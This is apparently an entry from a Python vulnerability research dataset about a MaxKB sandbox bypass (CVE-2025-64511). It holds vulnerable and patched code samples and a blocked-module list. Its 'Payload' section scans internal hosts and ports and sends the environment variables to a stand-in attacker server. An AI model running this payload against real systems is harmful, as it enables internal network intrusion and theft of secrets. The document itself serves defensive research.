CVE-2025-64511
MaxKB sandbox bypass in the tool module allows internal network access.
- CVSS 8.8
- CWE-918
- Input Validation and Sanitization
- Remote
MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can access internal network services such as databases through Python code in the tool module, although the process runs in a sandbox. Version 2.3.1 fixes the issue.
- CWE
- CWE-918
- CVSS base score
- 8.8
- Published
- 2025-11-13
- OWASP
- A10 Server-Side Request Forgery
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Server-Side Request Forgery (SSRF)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- MaxKB
- Fixed by upgrading
- Yes
Solution
Upgrade to version 2.3.1 or later.
Vulnerable code sample
import socket
def execute_tool_code(user_code: str):
"""
This function simulates the vulnerable component in MaxKB before version 2.3.1.
It is intended to run code in a sandbox, but the sandbox is flawed and does
not prevent network operations, allowing arbitrary code execution to access
internal network services.
"""
print(f"--- Attempting to execute user-provided code in 'sandbox' ---\n")
try:
# The core of the vulnerability: executing user-supplied code
# without effective restrictions on network modules like 'socket'.
# A proper sandbox would block or virtualize such operations.
exec(user_code, {"__builtins__": __builtins__}, {})
except Exception as e:
print(f"An error occurred during execution: {e}")
finally:
print("\n--- Code execution finished ---")
# This is an example of a malicious payload a user could submit.
# It attempts to scan for an open PostgreSQL port (5432) on the local machine,
# simulating an attempt to access an internal database service.
malicious_payload = """
import socket
target_host = '127.0.0.1'
target_port = 5432
print(f"Payload running: Attempting to connect to internal service {target_host}:{target_port}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1.5)
# connect_ex returns 0 on success, otherwise an error code
result = sock.connect_ex((target_host, target_port))
if result == 0:
print(f"[VULNERABILITY CONFIRMED] Connection to {target_host}:{target_port} was successful. Port is open.")
else:
print(f"Connection to {target_host}:{target_port} failed. Port is likely closed or filtered.")
sock.close()
except Exception as e:
print(f"Payload error: {e}")
"""
# Demonstrate the vulnerability by passing the malicious payload to the flawed function.
execute_tool_code(malicious_payload)Patched code sample
import sys
# The original built-in import function, to be used for safe modules.
_orig_import = __import__
# A set of module names that are considered dangerous and should be blocked.
# This list is central to the fix, preventing access to networking,
# subprocesses, and the file system, which could be used to reach
# internal services.
BLOCKED_MODULES = {
'socket',
'urllib',
'http',
'ftplib',
'telnetlib',
'subprocess',
'os',
'shutil',
'asyncio',
'requests' # A common third-party library for networking.
}
def _secure_importer(name, globals=None, locals=None, fromlist=(), level=0):
"""
A custom __import__ function that acts as a security gate.
It checks if the module being imported is in the blocklist.
"""
if name in BLOCKED_MODULES:
raise ImportError(f"Import of disabled module '{name}' is not allowed.")
# If the module is not in the blocklist, delegate to the original import.
# Note: In a real-world, high-security sandbox, you would use an allowlist
# instead of a blocklist for greater security.
return _orig_import(name, globals, locals, fromlist, level)
def execute_sandboxed_code(user_code: str):
"""
Executes user-provided code in a restricted sandbox that prevents
network access and other dangerous operations. This represents the
fix for the vulnerability.
"""
# Create a dictionary of safe built-in functions.
# We start with a copy of the default builtins and then remove/replace
# dangerous ones.
safe_builtins = sys.modules['builtins'].__dict__.copy()
# 1. Replace the default importer with our secure version.
# This is the primary fix to prevent importing networking modules.
safe_builtins['__import__'] = _secure_importer
# 2. Remove other dangerous built-ins to further harden the sandbox.
# 'open' could be used for file system access.
# 'eval' and 'exec' could be used to escape the sandbox.
del safe_builtins['open']
del safe_builtins['eval']
del safe_builtins['exec']
# The environment for the user's code. It only has access to our
# curated, safe built-ins.
sandboxed_globals = {"__builtins__": safe_builtins}
try:
# Execute the user's code within the sandboxed environment.
# Any attempt to import a blocked module will raise an ImportError.
exec(user_code, sandboxed_globals)
except Exception as e:
# In a real application, you would log this error.
# For this demonstration, we print it to show the fix is working.
print(f"Execution blocked: {e}")Payload
import socket
import os
# Payload to test for internal network access.
# It attempts to connect to a common internal IP and a standard PostgreSQL port.
# A successful connection proves the sandbox allows outbound network connections to the internal network.
# --- Payload Start ---
def exploit_internal_network():
# List of common internal hosts and ports to scan
targets = [
("192.168.1.1", 80), # Common router admin page
("10.0.0.1", 80), # Another common gateway
("localhost", 6379), # Local Redis instance
("db.internal", 5432), # Internal PostgreSQL by hostname
("172.17.0.1", 3306), # Docker host MySQL
]
results = {}
for host, port in targets:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2.0) # 2-second timeout
result = sock.connect_ex((host, port))
if result == 0:
results[f"{host}:{port}"] = "Open"
else:
results[f"{host}:{port}"] = "Closed or Unreachable"
sock.close()
except socket.error as e:
results[f"{host}:{port}"] = f"Error: {e}"
# As an alternative, try to exfiltrate data via an HTTP request to a controlled server
try:
# Example of exfiltrating environment variables
env_vars = os.environ
exfil_data = str(env_vars).encode('utf-8')
exfil_host = "attacker-controlled-server.com"
exfil_port = 80
http_request = (
f"POST /exfil HTTP/1.1\r\n"
f"Host: {exfil_host}\r\n"
f"Content-Type: text/plain\r\n"
f"Content-Length: {len(exfil_data)}\r\n"
f"Connection: close\r\n\r\n"
).encode('utf-8') + exfil_data
exfil_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
exfil_sock.connect((exfil_host, exfil_port))
exfil_sock.sendall(http_request)
exfil_sock.close()
results["exfiltration_status"] = f"Attempted to send data to {exfil_host}"
except Exception as e:
results["exfiltration_status"] = f"Failed: {e}"
return results
# Execute the payload
print(exploit_internal_network())
# --- Payload End ---
Cite this entry
@misc{vaitp:cve202564511,
title = {{MaxKB sandbox bypass in the tool module allows internal network access.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-64511},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-64511/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
